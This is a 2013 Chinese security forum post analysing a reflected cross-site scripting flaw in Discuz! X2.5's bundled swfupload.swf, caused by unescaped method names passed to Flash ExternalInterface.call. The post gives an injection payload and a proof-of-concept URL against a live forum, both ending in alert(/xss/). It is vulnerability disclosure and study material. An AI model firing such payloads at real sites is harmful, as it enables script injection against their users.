找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1968|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说0 w0 M7 R/ \" L5 g! D! N

- k. M# x1 m# dflash.external.ExternalInterface.call($methodName, $parameter)
/ k# y  y/ L" I% d- f1 t在浏览器中执行的是& o3 D1 `' _- s4 L- t
3 t% r# d5 v" F5 i; b
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
5 z/ {& s6 K! M8 t. G& _对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
: L& S2 S$ B& W* F6 o
4 `4 d* F! e+ f1 ^% M; n! Y$ h% ?flash.external.ExternalInterface.call("object."+$methodName, $parameter)
) A( [; s7 \* \) v/ w$methodName = a())}catch(e){alert(/xss/)}//- `6 J  g. Z6 J* |& [2 A3 q! |
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。+ V( c4 X  ~* ~
! ^+ Q- [, Y/ o3 K
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
. c. ?- q! {5 H# [, ~$ [
- Y# D6 [7 @' c: p* P这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )/ ^, B' i3 ?- s$ T% J
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。0 |  U3 W3 G) [6 Q
. h. X- s9 ]1 z6 g
$ V2 f9 r6 _7 B; c) O) y7 }! ~
* T3 S, ^% V8 h" L" U7 ~7 ~# E
漏洞文件:upload\static\image\common\swfupload.swf. w5 j$ p+ |& W. ], p3 d4 r& }
4 T) }8 \2 I( {: Y
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf# Y$ b1 n5 X, B7 P" r1 |9 E
8 @* e1 _* ?' P2 H8 T' i
0 `) B' U; X2 ?) `, L
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
7 k0 T+ F- Z, [' G$ F5 z9 a- V! j
& N; R; U* k$ n' Q# X) g& o0 ?# G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表